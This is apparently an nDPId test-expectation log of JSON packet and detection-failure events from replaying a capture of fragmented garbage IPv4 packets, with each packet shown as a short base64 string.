+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217507,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217519,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217671,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217722,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217786,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217858,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217908,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 